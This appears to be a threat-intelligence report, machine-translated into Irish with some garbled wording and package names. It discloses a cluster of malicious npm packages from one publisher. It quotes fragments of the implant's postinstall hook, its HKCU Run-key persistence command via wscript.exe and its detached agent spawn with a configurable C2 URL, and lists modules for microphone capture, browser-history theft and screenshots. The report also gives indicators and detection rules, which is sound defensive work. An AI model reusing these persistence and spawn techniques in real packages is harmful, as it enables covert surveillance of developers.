TL; DR
Idir an 1 Aibreán agus an 3 Bealtaine 2026, foilsitheoir npm aonair, user0001, cláraithe leis an seoladh Gmail neamhfhíoraithe tanvisoul9@gmail.com, bhrúigh sé phacáiste go ciúin le hainmneacha gan chiall a bhí cosúil le bonneagar: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, agus node-env-resolve.
An dá leagan is déanaí de node-env-resolve, 1.0.7 agus 1.0.8, tugadh faoi deara ag córas Rabhaidh Luath um Bhogearraí Malware (MEW) Xygeni ar an 2 Bealtaine agus deimhníodh gur bogearraí mailíseacha iad ar an 3 Bealtaine.
Tá an t-ionchlannán neamhghnách ar an rud nach bhfuil sé: níl aon bhotaí Telegram ann, aon ghlao ar ais OAST, ná aon obfuscation, agus gan aon iarracht dintiúir AWS a fháil le linn suiteála. Ina áit sin, postinstall.js cuireann sé iontráil bhuan-tosaithe Windows, ag baint úsáide as eochair HKCU Run a sheolann wscript.exe i gcoinne stumpa VBS. Ansin, cruthaíonn sé gníomhaire Node.js scoite a phacálann modúil le haghaidh gabháil micreafóin, goid stair brabhsálaí, scáileáin a thógáil, agus insamhalta luch/méarchláir.
Táimid ag glaoch ar an gcnuasach seo DevTap, tar éis an trealamh a fhágann sé ag rith ar mheaisín forbróra.
Bhí na sé phacáiste beo ar npm tráth scríofa na tuarascála seo. Chuireamar isteach chuig cainéal mí-úsáide an chlárlainne iad. Ba chóir do chosantóirí aon suiteálacha a tharraingt ón bhfoilsitheoir atá ar feitheamh lena mbaint.
An Braisle: Sé Phacáiste, Foilsitheoir Amháin
Cuntas an fhoilsitheora user0001 níl sé fíoraithe. Níl aon cheann aige SCM fíorú, gan aon ríomhphost atá ceangailte le fearann, agus gan aon stair roimhe seo. An láimhseáil Gmail tanvisoul9 ní fheictear é in aon taifead eile de chuid foilsitheora npm a d’fhéadfaimis a fháil.
Liostaíonn na sé phacáiste go léir an cothaitheoir céanna, foilsíodh iad ón gcuntas céanna, agus roinneann siad an rud céanna. package.json pláta coire. Níl aon repositoryuimh homepage, agus uimh description níos faide ná líne amháin.
Is í an straitéis ainmniúcháin an chuid spéisiúil. Murab ionann agus feachtas clasaiceach mearbhall spleáchais nó typosquat, níl aon cheann de na hainmneacha seo dírithe ar leabharlann suas an tsrutha ar leith. Ina áit sin, tá siad calabraithe chun imeacht isteach i bhfíor- package.json or npm ls aschur.
| Pacáiste | An Chéad Foilsithe | Leagan is déanaí | leaganacha | Ról sa Chnuasach |
|---|---|---|---|---|
| lár-logaire | 2026-04-01 12:46 UTC | 1.0.9 | 5, ó 1.0.5 go 1.0.9 | Clúdach “fóntais logála” an Chnuasaigh; an chéad fhoilsiú |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | Clúdach cúntóra DOM cineálach |
| nód-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | Déanann aithris ar theaghlach nód-fetch |
| gníomhaire nascóra | 2026-04-25 05:12 UTC | 1.0.0 | 1 | Ainm cineálach "gníomhaire" |
| am rith nód-gyp | 2026-04-25 05:17 UTC | 1.0.0 | 1 | Déanann aithris ar uirlisí tógála modúl dúchais |
| réiteach-timpeallachta-node | 2026-04-25 05:21 UTC | 1.0.9 | 10, ó 1.0.0 go 1.0.9 | Braiteoir gníomhach; ionchlannán iomlán |
Ainmneacha mar centralogger, node-fetch-lite, agus node-gyp-runtime atá deartha le go mbeidh cuma neamhchonspóideach orthu in athbhreithniú cóid. Is cosúil go mbeadh siad i gcrann spleáchais tionscadail cheana féin.
I dteannta foilsitheoir úr, neamhfhíoraithe agus naisc stórtha atá ar iarraidh, cruthaíonn siad patrún aitheanta: gníomhaí ag cur ainmneacha íseal-fhrithchuimilte isteach sa chlárlann, agus ansin ag athrá go tapa ar an gceann is tábhachtaí. Sa chás seo, node-env-resolve fuair mé deich leagan in ocht lá.
Cad a Thuirlingíonn ar Bhosca Forbróra Windows
An slabhra mailíseach ar node-env-resolve:1.0.8 gearr, díreach, agus thar a bheith saibhir i ngnéithe le haghaidh RAT npm.
Iarshuiteáil: Buanseasmhacht agus Gníomhaire Scoite
package.json dearbhaíonn sé crúca suiteála aonair:
{ "scripts": { "postinstall": "node postinstall.js" } }postinstall.js déanann trí rud in ord.
Ar dtús, cuireann sé eolaire suiteála lasmuigh den chrann npm. Ríomhtar an cosán ag am rithe sa script mar INSTALL_DIRAnsin ritheann sé córas inmheánach execSync('npm install --production --silent ...') istigh ann chun spleáchais rith-ama an ionchlannáin a tharraingt. Cuireann sé seo an gníomhaire ar dhiosca áit éigin i lámhleabhar node_modules ní bhfaighidh iniúchadh.
Ar an dara dul síos, scríobhann sé lainseálaí VBS agus cláraíonn sé é le haghaidh buanseasmhachta tosaithe:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v ${AGENT_NAME} \ /t REG_SZ \ /d "wscript.exe \"${vbsPath}\"" /fwscript.exe Is é an Windows Script Host, dénártha sínithe Microsoft a ritheann .vbs comhaid gan fuinneog consóil. Is réamh-cisCén fáth go bhfuil sé is fearr le haghaidh stubaí uathrith.
Tá meaitseáil ann freisin reg delete cosán istigh src/index.js, rud a thugann le fios go bhfuil an t-ionchlannán deartha le bheith inbhainte go glan ar ordú an oibreora.
Sa tríú háit, cruthaíonn sé próiseas scoite linbh:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], { detached: true, env: { ...process.env, SERVER_URL } })Tá dhá shonraí tábhachtach anseo.
SERVER_URL léitear ón timpeallacht é. Mar thoradh air sin, is féidir críochphointe C2 a chumrú in aghaidh an imscartha agus níl sé bácáilte isteach sa phacáiste. Sáraíonn an rogha bheag ach d'aon ghnó sin formhór na scuabadh statach-IOC.
Chomh maith leis sin, faigheann an leanbh a rugadh an timpeallacht tuismitheora iomlán mar oidhreacht. Dá bhrí sin, aon NPM_TOKEN, AWS_*, GITHUB_TOKEN, nó taistealaíonn soicéad gníomhaire SSH atá i láthair sa bhlaosc forbróra tráth a suiteála isteach i gcuimhne an ghníomhaire fhadsaolaigh.
Cad a Sheolann an Gníomhaire Leis
An cuachta src/ Tá trí mhodúl sa chrann, agus insíonn a n-ainmneacha féin an scéal: audioCapture.js, browserHistory.js, agus systemInfo.js.
An liosta spleáchais rith-ama, réitithe le linn an chéimnithe npm install, dearbhaíonn sé iad.
Déanann an cur chuige seo freagairt rialaithe as eachtra chaotic.
In ionad freagairt go dall, oibríonn foirne le tosaíocht shoiléir agus leigheas tapa.
| spleáchas | Cad chuige atá sé sa chomhthéacs seo |
|---|---|
| scáileáin-deisce | Gabháil scáileáin thréimhsiúil |
| @forc-crann-cnó/cnó-js | Uathoibriú luiche agus méarchláir / insamhalta ionchuir |
| níos fearr-sqlite3 | Léamha díreacha ar bhunachair shonraí SQLite Stair Chrome, Edge, agus Firefox |
| cód zip riarthóra | Déantúsáin bailithe a phacáistiú roimh dhí-eastóscadh |
| géar | Athrú méide/comhbhrú scáileáin agus déantáin íomhá |
| cliant-socket.io | Cainéal C2 déthreoch buan |
| aitheantas-meaisín-nóid | Méarlorg cobhsaí in aghaidh an óstaigh le haghaidh rianú íospartach |
systemInfo.js glaonna os.networkInterfaces() le haghaidh méarloirg bhreise roimh an gcéad rabhchán.
Cén fáth gur comhartha suntasach é an Gabháil Fuaime
Stopann formhór na RATanna npm a ndéanaimid triage orthu i MEW ag goid rúnda le linn an tsuiteála. ~/.npmrc, léigh ~/.aws/credentials, scríobadh process.env, POST chuig crúca gréasáin, agus scoir. Oireann sin do mhúnla eacnamaíochta 'smash and grab'. Tá leathré ghearr ag dintiúir, agus ní mór don ionsaitheoir airgead a dhéanamh go tapa.
node-env-resolve atá difriúil i gcruth.
Tá an buanseasmhacht socraithe chun maireachtáil tar éis atosaithe. Ritheann an gníomhaire scoite agus fadsaolach faoi wscript.exeTá an trealamh atá ann le bheith ann ar mheaisín forbróra, ní le haghaidh greim agus fágáil: taifeadán micreafóin, tiománaí méarchláir/luiche, ionghabháil stair iomlán brabhsálaí, gabháil scáileáin, agus cainéal Socket.IO idirghníomhach ar ais chuig C2 inchumraithe.
Is é gabháil micreafóin go háirithe an líne a thrasnaíonn an feachtas seo nach dtrasnaíonn formhór na malware npm.
Is é stáisiún oibre forbróra, níos mó agus níos mó, an stáisiún oibre ina nglacann forbróirí seasaimh, glaonna custaiméirí, plé dearaidh, agus droichid ar ghlao. Ní bhíonn ionchlannán a thaifeadann an micreafón i ndáiríre ag iarraidh comhartha npm an fhorbróra. Bíonn sé ag iarraidh a bhfuil á rá ag an bhforbróir os comhair an ríomhaire glúine.
Léitear an tacar cumais sin, móide an easpa doiléire agus easpa aon eis-scagtha lonrach le linn na suiteála, mar réamhshuíomh le haghaidh rochtana spriocdhírithe seachas goid dintiúir deise.
Nílimid ag maíomh gur ar bhonn seo amháin atá an chúis. Táimid ag tabhairt faoi deara an phróifíl oibríochtúil.
An cadans athrá ocht lá ar aghaidh node-env-resolve is é an mionsonra is suntasaí ó thaobh oibríochta de san amlíne.
Ní leagan tine agus dearmadta é seo. Tá an foilsitheoir ag cothabháil an leagan tine go gníomhach, rud a chiallaíonn ceann amháin de dhá rud de ghnáth. Ceachtar go bhfuil siad á choigeartú i gcoinne timpeallachtaí tástála roimh imscaradh níos leithne, nó go bhfuil teileiméadracht suiteáilte acu cheana féin agus go bhfuil siad ag freagairt di.
Níor tharla aon athrú ar an gcúig phacáiste eile tar éis a bhfoilsithe tosaigh. Oireann sé sin do phatrún "céim amháin, fág ainm" don chnuasach tacaíochta agus díríonn an iarracht innealtóireachta ar an bpacáiste a dhéanann an obair.
Leideanna Beaga, Gan Bhreithiúnas Daingean
Go Poiblí OSINT Tá comharthaí tanaí, agus ní shínfimid iad. Cad atá inbhraite:
Láimhseáil Gmail tanvisoul9 cosúil go páirteach le sloinne baiste Deisceart na hÁise, “Tanvi.” Is comhartha lag é seo. Ní hionannas láimhseálacha Gmail, agus an ceann a leanann soul9 cineálach. Níl sé sábháilte tíreolaíocht a bhaint as cuid áitiúil ríomhphoist amháin.
Níl stíl an chóid suntasach i Node.js: standard glaonna leabharlainne amhail os, child_process, spawn, agus reg addNíl aon doiléiriú, rothlú teaghrán, agus loighic frith-dhífhabhtaithe ann. Tá an t-údar compordach le bunphrionsabail chlárlainne Windows agus le heagrú próiseas scoite-leanbh, ach ní cosúil go bhfuil sé ag iarraidh ceirdeanna níos rúnda a úsáid.
Tá spleáchais go hiomlán réidh le húsáid agus aitheanta go maith: screenshot-desktop, nut-js, better-sqlite3, agus socket.io-clientNíl aon phrótacal saincheaptha ann, níl aon stac C2 rollta ón tús, agus níl aon chleas buanseasmhachta nua ann seachas téacsleabhar. Eochair rith HKCUIs comhtháthaitheoir inniúil é seo, ní údar uirlisí.
Ní bhfuaireamar teaghráin neamh-Bhéarla, tráchtanna leabaithe, sonraí logáin, ná méarloirg chrios ama aschuir an tiomsaitheora laistigh de na déantáin foilsithe.
Rinneamar seiceáil le haghaidh forluí cód le feachtais roimhe seo a rianaímid cheana féin, lena n-áirítear Shai Hulud, Owlivion, Buildkite, agus an heibai le déanaí / claude-code-best Teaghlach clón Anthropic-CLI. Ní bhfuaireamar aon cheann: gan aon phatrúin C2 comhroinnte, gan aon leagan amach comhad comhroinnte, agus gan aon nathanna comhroinnte.
Rud nach ndéarfaimis: gur gníomhaí stáit é seo, grúpa aitheanta, nó grúpa atá ceangailte go geografach le haon tír ar leith.
Tá an phróifíl oibríochtúil comhsheasmhach le foireann bheag, measartha oilte a dhéanann faireachas ar stáisiún oibre forbróra. Is dócha go bhfuil sé spreagtha go airgeadais trí úsáid iartheachtach an rochtana, ach b'fhéidir freisin taiscéalaíocht-mar-sheirbhís do cheannaitheoir ar leith.
Tacaíonn dhá phointe indíreacha leis sin: seachaint meicnic eis-scagtha a tharraingíonn aird a dhódh an braisle go gasta, amhail róbónna Telegram, oastify.com, nó canarytokens, agus na hainmneacha pacáiste atá leadránach d'aon ghnó, a thabharfaidh fabhar do shuiteálacha ciúine fad-eireaballacha thar borradh gearr ardtoirte.
Táscairí Comhréitigh agus Braite
| Pacáistí agus Foilsitheoir | |
|---|---|
| Réimse | luach |
| foilsitheoir npm | user0001 |
| Ríomhphost an fhoilsitheora | tanvisoul9@gmail.com, gan fhíorú |
| Pacáistí | centralogger, dom-utils-lite, node-fetch-lite, gníomhaire nascóra, am rith node-gyp, réiteach timpeallachta node |
| Deimhnithe mailíseach | nód-timpeall-réitigh@1.0.7, nód-timpeall-réitigh@1.0.8 |
| Déantúsáin Óstacha | |
|---|---|
| Cineál | luach |
| Eochair bhuansheasmhachta | HKCU\Software\Microsoft\Windows\ReathaLeagan\Rith |
| Luach buanseasmhachta | Ainm athróg; sonraí den fhoirm wscript.exe " \\ .vbs" |
| Suiteáil crúca | iar-shuiteáil: nód postinstall.js sa léiriú pacáiste |
| Modúil ionchlannáin | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| Eolaire stáitseála | Réitíodh INSTALL_DIR lasmuigh de node_modules an tionscadail; socraíodh an suíomh ag postinstall.js tráth a suiteála |
| líonra | |
|---|---|
| Cineál | luach |
| Iompar C2 | socket.io-client, cainéal déthreoch buan |
| Críochphointe C2 | Ar fáil don ghníomhaire tríd an athróg timpeallachta SERVER_URL; ní chrua-chódáilte i ndéantáin fhoilsithe |
Nótaí Braite
Gabhann dhá riail an teaghlach seo gan an críochphointe C2 a bheith ag teastáil.
Ar dtús, brataigh scripteanna iar-shuiteála a dhéanann obair inmheánach npm install isteach i gcosán lasmuigh d'eolaire an phacáiste féin. Aon íoslódálaí réamhthógála dlisteanach, amhail node-gyp atógálacha nó íoslódálaithe dénártha réamhthógtha, scríobhann taobh istigh den phacáiste nó isteach san ardán-standard cosáin taisce le haiseanna fíoraithe. Ní scríobhann sé isteach i gceann nua-chruthaithe INSTALL_DIR in áit eile ar an diosca.
Ar an dara dul síos, brataigh scripteanna iar-shuiteála a eascraíonn reg add HKCU\…\Run le wscript.exe mar an lainseálaí. Ní bhíonn sé seo dlisteanach riamh ó phacáiste npm go bunúsach. Cuir bratach air agus cuir i gcoraintín é.
Tá tríú heorastach úsáideach chun an chéad phacáiste siblín eile a aithint sula ndéantar é a dheimhniú: foilsitheoir npm úr gan aon SCM fíorú, ríomhphost Gmail, níl repository réimse, agus ainmneacha pacáiste iolracha gearra, cineálacha a bhfuil fuaim bonneagair orthu a fhoilsítear laistigh de laethanta óna chéile, is leor sin ann féin chun athbhreithniú láimhe a dhéanamh.
Tuairiscíodh chuig an gclárlann npm é. Déanfaimid an post seo a nuashonrú nuair a bhainfear cuntas an fhoilsitheora.
